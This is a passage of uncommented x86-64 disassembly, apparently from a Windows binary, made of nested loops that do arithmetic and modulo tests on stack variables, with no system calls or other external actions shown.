mov dword [rsp + 0x60], eax
jmp 0x140078bf6
mov eax, dword [rsp + 0x1d4]
dec eax
mov dword [rsp + 0x1d4], eax
cmp dword [rsp + 0x1d4], 0
jg 0x140078abe
jmp 0x1400787ae
jmp 0x140077a06
jmp 0x14007b208
mov dword [rsp + 0x1d8], 0
jmp 0x140078c7f
mov eax, dword [rsp + 0x1d8]
inc eax
mov dword [rsp + 0x1d8], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1d8], eax
jge 0x14007b208
mov dword [rsp + 0x1f4], 0x44
mov dword [rsp + 0x178], 0
jmp 0x140078cbb
mov eax, dword [rsp + 0x178]
inc eax
mov dword [rsp + 0x178], eax
cmp dword [rsp + 0x178], 7
jge 0x140079c09
mov eax, dword [rsp + 0x178]
add eax, 4
mov dword [rsp + 0x154], eax
mov eax, dword [rsp + 0x154]
add eax, 4
mov dword [rsp + 0x154], eax
cmp dword [rsp + 0x154], 0x10
jne 0x140079bf6
mov dword [rsp + 0x1dc], 0
jmp 0x140078d16
mov eax, dword [rsp + 0x1dc]
inc eax
mov dword [rsp + 0x1dc], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1dc], eax
jge 0x140079410
mov dword [rsp + 0x1e0], 7
mov dword [rsp + 0x17c], 0
jmp 0x140078d52
mov eax, dword [rsp + 0x17c]
inc eax
mov dword [rsp + 0x17c], eax
cmp dword [rsp + 0x17c], 2
jge 0x14007901c
mov eax, dword [rsp + 0x17c]
inc eax
mov dword [rsp + 0x14c], eax
mov eax, dword [rsp + 0x14c]
inc eax
mov dword [rsp + 0x14c], eax
cmp dword [rsp + 0x14c], 2
jne 0x140079009
mov dword [rsp + 0x30], 5
cmp dword [rsp + 0x30], 0x28
jge 0x140078dfd
mov eax, dword [rsp + 0x30]
add eax, 7
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078df0
mov eax, dword [rsp + 0x30]
add eax, eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078de3
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x140078dee
mov eax, dword [rsp + 0x30]
add eax, 4
mov dword [rsp + 0x30], eax
jmp 0x140078dfb
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x140078d96
cmp dword [rsp + 0x30], 0xf
jle 0x140078ec3
mov dword [rsp + 0xa0], 0
jmp 0x140078e25
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 8
jge 0x140078ec1
imul eax, dword [rsp + 0xa0], 9
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078ea8
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078e93
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0xa0]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x30], eax
jmp 0x140078ea6
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140078ebc
imul eax, dword [rsp + 0xa0], 3
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140078e15
jmp 0x140078f15
mov eax, dword [rsp + 0x30]
sub eax, 0xa
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xa
jge 0x140078f0a
mov eax, dword [rsp + 0x30]
add eax, 7
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140078efd
mov eax, dword [rsp + 0x30]
sub eax, 2
mov dword [rsp + 0x30], eax
jmp 0x140078f08
mov eax, dword [rsp + 0x30]
add eax, 3
mov dword [rsp + 0x30], eax
jmp 0x140078f15
mov eax, dword [rsp + 0x30]
sub eax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
add eax, 6
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078f6a
mov eax, dword [rsp + 0x30]
sub eax, 5
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078f5d
mov eax, dword [rsp + 0x30]
add eax, 8
mov dword [rsp + 0x30], eax
jmp 0x140078f68
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
jmp 0x140078f75
mov eax, dword [rsp + 0x30]
add eax, 7
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140078f15
cmp dword [rsp + 0x30], 0
jle 0x140078fee
mov eax, dword [rsp + 0x30]
sub eax, 6
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140078fb9
mov eax, dword [rsp + 0x30]
add eax, 9
mov dword [rsp + 0x30], eax
jmp 0x140078fec
mov eax, dword [rsp + 0x30]
sub eax, 3
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140078fe1
mov eax, dword [rsp + 0x30]
add eax, 4
mov dword [rsp + 0x30], eax
jmp 0x140078fec
mov eax, dword [rsp + 0x30]
sub eax, 2
mov dword [rsp + 0x30], eax
jmp 0x140078f87
mov eax, dword [rsp + 0x14c]
imul eax, dword [rsp + 0x1e0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x2a8], eax
cmp dword [rsp + 0x14c], 3
jl 0x140078d70
jmp 0x140078d42
cmp dword [rsp + 0x1e0], 5
jle 0x14007940b
mov eax, dword [rsp + 0x1e0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1e4], eax
mov dword [rsp + 0x64], 5
cmp dword [rsp + 0x64], 0x1e
jge 0x140079082
mov eax, dword [rsp + 0x64]
add eax, 5
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079075
mov eax, dword [rsp + 0x64]
shl eax, 1
mov dword [rsp + 0x64], eax
jmp 0x140079080
mov eax, dword [rsp + 0x64]
sub eax, 3
mov dword [rsp + 0x64], eax
jmp 0x140079045
cmp dword [rsp + 0x64], 0xf
jle 0x140079104
mov dword [rsp + 0xec], 0
jmp 0x1400790a6
mov eax, dword [rsp + 0xec]
inc eax
mov dword [rsp + 0xec], eax
cmp dword [rsp + 0xec], 6
jge 0x140079102
imul eax, dword [rsp + 0xec], 7
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400790ec
mov eax, dword [rsp + 0xec]
mov ecx, dword [rsp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
jmp 0x140079100
imul eax, dword [rsp + 0xec], 3
mov ecx, dword [rsp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64], eax
jmp 0x140079096
jmp 0x14007912e
mov eax, dword [rsp + 0x64]
sub eax, 8
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0xa
jge 0x140079123
mov eax, dword [rsp + 0x64]
add eax, 5
mov dword [rsp + 0x64], eax
jmp 0x14007912e
mov eax, dword [rsp + 0x64]
sub eax, 2
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
add eax, 4
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079158
mov eax, dword [rsp + 0x64]
sub eax, 5
mov dword [rsp + 0x64], eax
jmp 0x140079163
mov eax, dword [rsp + 0x64]
add eax, 6
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007912e
cmp dword [rsp + 0x64], 0
jle 0x1400791b4
mov eax, dword [rsp + 0x64]
sub eax, 4
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x1400791a7
mov eax, dword [rsp + 0x64]
add eax, 7
mov dword [rsp + 0x64], eax
jmp 0x1400791b2
mov eax, dword [rsp + 0x64]
sub eax, 3
mov dword [rsp + 0x64], eax
jmp 0x140079175
mov dword [rsp + 0x90], 0xa
mov dword [rsp + 0xf0], 0
jmp 0x1400791dc
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
cmp dword [rsp + 0xf0], 5
jge 0x140079248
imul eax, dword [rsp + 0xf0], 3
mov ecx, dword [rsp + 0x90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007922e
mov eax, dword [rsp + 0xf0]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
jmp 0x140079246
mov eax, dword [rsp + 0x90]
mov ecx, dword [rsp + 0xf0]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x90], eax
jmp 0x1400791cc
cmp dword [rsp + 0x90], 0x14
jle 0x1400792ea
mov dword [rsp + 0xf4], 0
jmp 0x140079273
mov eax, dword [rsp + 0xf4]
inc eax
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 3
jge 0x1400792e8
mov eax, dword [rsp + 0xf4]
add eax, 2
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400792ca
mov eax, dword [rsp + 0xf4]
mov ecx, dword [rsp + 0x90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
jmp 0x1400792e3
mov eax, dword [rsp + 0xf4]
mov ecx, dword [rsp + 0x90]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x90], eax
jmp 0x140079263
jmp 0x140079329
mov eax, dword [rsp + 0x90]
sub eax, 5
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0xa
jge 0x140079318
mov eax, dword [rsp + 0x90]
add eax, 3
mov dword [rsp + 0x90], eax
jmp 0x140079329
mov eax, dword [rsp + 0x90]
sub eax, 2
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x14007938b
mov eax, dword [rsp + 0x90]
add eax, 2
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079378
mov eax, dword [rsp + 0x90]
sub eax, 3
mov dword [rsp + 0x90], eax
jmp 0x140079389
mov eax, dword [rsp + 0x90]
add eax, 4
mov dword [rsp + 0x90], eax
jmp 0x140079329
mov eax, dword [rsp + 0x90]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
je 0x1400793ed
mov eax, dword [rsp + 0x90]
add eax, 2
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400793da
mov eax, dword [rsp + 0x90]
sub eax, 2
mov dword [rsp + 0x90], eax
jmp 0x1400793eb
mov eax, dword [rsp + 0x90]
add eax, 3
mov dword [rsp + 0x90], eax
jmp 0x14007938b
mov eax, dword [rsp + 0x1e4]
dec eax
mov dword [rsp + 0x1e4], eax
cmp dword [rsp + 0x1e4], 0
jg 0x14007903d
jmp 0x140078d06
mov eax, dword [rsp + 0x154]
imul eax, dword [rsp + 0x1f4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x2ac], eax
mov dword [rsp + 0x1e8], 0
jmp 0x14007944b
mov eax, dword [rsp + 0x1e8]
inc eax
mov dword [rsp + 0x1e8], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1e8], eax
jge 0x140079bf6
mov dword [rsp + 0x1ec], 7
mov dword [rsp + 0x180], 0
jmp 0x140079487
mov eax, dword [rsp + 0x180]
inc eax
mov dword [rsp + 0x180], eax
cmp dword [rsp + 0x180], 2
jge 0x1400798c6
mov eax, dword [rsp + 0x180]
inc eax
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x150]
inc eax
mov dword [rsp + 0x150], eax
cmp dword [rsp + 0x150], 2
jne 0x1400798b3
mov dword [rsp + 0x50], 5
cmp dword [rsp + 0x50], 0x23
jge 0x140079508
mov eax, dword [rsp + 0x50]
add eax, 6
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400794fb
mov eax, dword [rsp + 0x50]
add eax, eax
mov dword [rsp + 0x50], eax
jmp 0x140079506
mov eax, dword [rsp + 0x50]
sub eax, 3
mov dword [rsp + 0x50], eax
jmp 0x1400794cb
cmp dword [rsp + 0x50], 0xf
jle 0x140079588
mov dword [rsp + 0xf8], 0
jmp 0x14007952c
mov eax, dword [rsp + 0xf8]
inc eax
mov dword [rsp + 0xf8], eax
cmp dword [rsp + 0xf8], 7
jge 0x140079586
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0xf8]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079570
mov eax, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x140079584
imul eax, dword [rsp + 0xf8], 3
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x14007951c
jmp 0x1400795b2
mov eax, dword [rsp + 0x50]
sub eax, 9
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xa
jge 0x1400795a7
mov eax, dword [rsp + 0x50]
add eax, 6
mov dword [rsp + 0x50], eax
jmp 0x1400795b2
mov eax, dword [rsp + 0x50]
sub eax, 2
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
add eax, 5
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400795dc
mov eax, dword [rsp + 0x50]
sub eax, 6
mov dword [rsp + 0x50], eax
jmp 0x1400795e7
mov eax, dword [rsp + 0x50]
add eax, 7
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400795b2
cmp dword [rsp + 0x50], 0
jle 0x140079638
mov eax, dword [rsp + 0x50]
sub eax, 5
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x14007962b
mov eax, dword [rsp + 0x50]
add eax, 8
mov dword [rsp + 0x50], eax
jmp 0x140079636
mov eax, dword [rsp + 0x50]
sub eax, 3
mov dword [rsp + 0x50], eax
jmp 0x1400795f9
mov dword [rsp + 0x34], 5
cmp dword [rsp + 0x34], 0x28
jge 0x1400796a7
mov eax, dword [rsp + 0x34]
add eax, 7
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007969a
mov eax, dword [rsp + 0x34]
add eax, eax
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007968d
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
jmp 0x140079698
mov eax, dword [rsp + 0x34]
add eax, 4
mov dword [rsp + 0x34], eax
jmp 0x1400796a5
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
jmp 0x140079640
cmp dword [rsp + 0x34], 0xf
jle 0x14007976d
mov dword [rsp + 0xa4], 0
jmp 0x1400796cf
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 8
jge 0x14007976b
imul eax, dword [rsp + 0xa4], 9
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079752
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007973d
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0xa4]
lea eax, [rax + rcx*2]
mov dword [rsp + 0x34], eax
jmp 0x140079750
mov eax, dword [rsp + 0xa4]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x140079766
imul eax, dword [rsp + 0xa4], 3
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x1400796bf
jmp 0x1400797bf
mov eax, dword [rsp + 0x34]
sub eax, 0xa
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0xa
jge 0x1400797b4
mov eax, dword [rsp + 0x34]
add eax, 7
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1400797a7
mov eax, dword [rsp + 0x34]
sub eax, 2
mov dword [rsp + 0x34], eax
jmp 0x1400797b2
mov eax, dword [rsp + 0x34]
add eax, 3
mov dword [rsp + 0x34], eax
jmp 0x1400797bf
mov eax, dword [rsp + 0x34]
sub eax, 2
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
add eax, 6
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079814
mov eax, dword [rsp + 0x34]
sub eax, 5
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079807
mov eax, dword [rsp + 0x34]
add eax, 8
mov dword [rsp + 0x34], eax
jmp 0x140079812
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
jmp 0x14007981f
mov eax, dword [rsp + 0x34]
add eax, 7
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400797bf
cmp dword [rsp + 0x34], 0
jle 0x140079898
mov eax, dword [rsp + 0x34]
sub eax, 6
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079863
mov eax, dword [rsp + 0x34]
add eax, 9
mov dword [rsp + 0x34], eax
jmp 0x140079896
mov eax, dword [rsp + 0x34]
sub eax, 3
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14007988b
mov eax, dword [rsp + 0x34]
add eax, 4
mov dword [rsp + 0x34], eax
jmp 0x140079896
mov eax, dword [rsp + 0x34]
sub eax, 2
mov dword [rsp + 0x34], eax
jmp 0x140079831
mov eax, dword [rsp + 0x150]
imul eax, dword [rsp + 0x1ec]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x2b0], eax
cmp dword [rsp + 0x150], 3
jl 0x1400794a5
jmp 0x140079477
cmp dword [rsp + 0x1ec], 5
jle 0x140079bf1
mov eax, dword [rsp + 0x1ec]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1f0], eax
mov dword [rsp + 0x68], 5
cmp dword [rsp + 0x68], 0x19
jge 0x14007992c
mov eax, dword [rsp + 0x68]
add eax, 4
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14007991f
mov eax, dword [rsp + 0x68]
shl eax, 1
mov dword [rsp + 0x68], eax
jmp 0x14007992a
mov eax, dword [rsp + 0x68]
sub eax, 3
mov dword [rsp + 0x68], eax
jmp 0x1400798ef
cmp dword [rsp + 0x68], 0xf
jle 0x1400799ae
mov dword [rsp + 0xfc], 0
jmp 0x140079950
mov eax, dword [rsp + 0xfc]
inc eax
mov dword [rsp + 0xfc], eax
cmp dword [rsp + 0xfc], 5
jge 0x1400799ac
imul eax, dword [rsp + 0xfc], 6
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079996
mov eax, dword [rsp + 0xfc]
mov ecx, dword [rsp + 0x68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
jmp 0x1400799aa
imul eax, dword [rsp + 0xfc], 3
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x68], eax
jmp 0x140079940
jmp 0x1400799d8
mov eax, dword [rsp + 0x68]
sub eax, 7
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0xa
jge 0x1400799cd
mov eax, dword [rsp + 0x68]
add eax, 4
mov dword [rsp + 0x68], eax
jmp 0x1400799d8
mov eax, dword [rsp + 0x68]
sub eax, 2
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
add eax, 3
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079a02
mov eax, dword [rsp + 0x68]
sub eax, 4
mov dword [rsp + 0x68], eax
jmp 0x140079a0d
mov eax, dword [rsp + 0x68]
add eax, 5
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400799d8
cmp dword [rsp + 0x68], 0
jle 0x140079a5e
mov eax, dword [rsp + 0x68]
sub eax, 3
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x68]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079a51
mov eax, dword [rsp + 0x68]
add eax, 6
mov dword [rsp + 0x68], eax
jmp 0x140079a5c
mov eax, dword [rsp + 0x68]
sub eax, 2
mov dword [rsp + 0x68], eax
jmp 0x140079a1f
mov dword [rsp + 0x6c], 5
cmp dword [rsp + 0x6c], 0x23
jge 0x140079aa3
mov eax, dword [rsp + 0x6c]
add eax, 6
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079a96
mov eax, dword [rsp + 0x6c]
add eax, eax
mov dword [rsp + 0x6c], eax
jmp 0x140079aa1
mov eax, dword [rsp + 0x6c]
sub eax, 3
mov dword [rsp + 0x6c], eax
jmp 0x140079a66
cmp dword [rsp + 0x6c], 0xf
jle 0x140079b23
mov dword [rsp + 0x100], 0
jmp 0x140079ac7
mov eax, dword [rsp + 0x100]
inc eax
mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 7
jge 0x140079b21
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x100]
lea eax, [rax + rcx*8]
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079b0b
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
jmp 0x140079b1f
imul eax, dword [rsp + 0x100], 3
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
jmp 0x140079ab7
jmp 0x140079b4d
mov eax, dword [rsp + 0x6c]
sub eax, 9
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0xa
jge 0x140079b42
mov eax, dword [rsp + 0x6c]
add eax, 6
mov dword [rsp + 0x6c], eax
jmp 0x140079b4d
mov eax, dword [rsp + 0x6c]
sub eax, 2
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
add eax, 5
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
mov ecx, 6
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079b77
mov eax, dword [rsp + 0x6c]
sub eax, 6
mov dword [rsp + 0x6c], eax
jmp 0x140079b82
mov eax, dword [rsp + 0x6c]
add eax, 7
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
mov ecx, 5
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079b4d
cmp dword [rsp + 0x6c], 0
jle 0x140079bd3
mov eax, dword [rsp + 0x6c]
sub eax, 5
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x6c]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079bc6
mov eax, dword [rsp + 0x6c]
add eax, 8
mov dword [rsp + 0x6c], eax
jmp 0x140079bd1
mov eax, dword [rsp + 0x6c]
sub eax, 3
mov dword [rsp + 0x6c], eax
jmp 0x140079b94
mov eax, dword [rsp + 0x1f0]
dec eax
mov dword [rsp + 0x1f0], eax
cmp dword [rsp + 0x1f0], 0
jg 0x1400798e7
jmp 0x14007943b
cmp dword [rsp + 0x154], 0x14
jl 0x140078cda
jmp 0x140078cab
cmp dword [rsp + 0x1f4], 0x28
jle 0x14007a4d8
mov eax, dword [rsp + 0x1f4]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x204], eax
mov dword [rsp + 0x1f8], 0
jmp 0x140079c4a
mov eax, dword [rsp + 0x1f8]
inc eax
mov dword [rsp + 0x1f8], eax
mov eax, dword [rsp + 0x9c]
cmp dword [rsp + 0x1f8], eax
jge 0x14007a4b9
mov dword [rsp + 0x1fc], 7
mov dword [rsp + 0x184], 0
jmp 0x140079c86
mov eax, dword [rsp + 0x184]
inc eax
mov dword [rsp + 0x184], eax
cmp dword [rsp + 0x184], 2
jge 0x140079fdc
mov eax, dword [rsp + 0x184]
inc eax
mov dword [rsp + 0x158], eax
mov eax, dword [rsp + 0x158]
inc eax
mov dword [rsp + 0x158], eax
cmp dword [rsp + 0x158], 2
jne 0x140079fc9
mov dword [rsp + 0x70], 5
cmp dword [rsp + 0x70], 0x19
jge 0x140079d07
mov eax, dword [rsp + 0x70]
add eax, 4
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140079cfa
mov eax, dword [rsp + 0x70]
shl eax, 1
mov dword [rsp + 0x70], eax
jmp 0x140079d05
mov eax, dword [rsp + 0x70]
sub eax, 3
mov dword [rsp + 0x70], eax
jmp 0x140079cca
cmp dword [rsp + 0x70], 0xf
jle 0x140079d89
mov dword [rsp + 0x104], 0
jmp 0x140079d2b
mov eax, dword [rsp + 0x104]
inc eax
mov dword [rsp + 0x104], eax
cmp dword [rsp + 0x104], 5
jge 0x140079d87
imul eax, dword [rsp + 0x104], 6
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140079d71
mov eax, dword [rsp + 0x104]
mov ecx, dword [rsp + 0x70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
jmp 0x140079d85
imul eax, dword [rsp + 0x104], 3
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
jmp 0x140079d1b
jmp 0x140079db3
mov eax, dword [rsp + 0x70]
sub eax, 7
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0xa
jge 0x140079da8
mov eax, dword [rsp + 0x70]
add eax, 4
mov dword [rsp + 0x70], eax
jmp 0x140079db3
mov eax, dword [rsp + 0x70]
sub eax, 2
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
add eax, 3
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
cdq
mov ecx, 6
idiv ecx
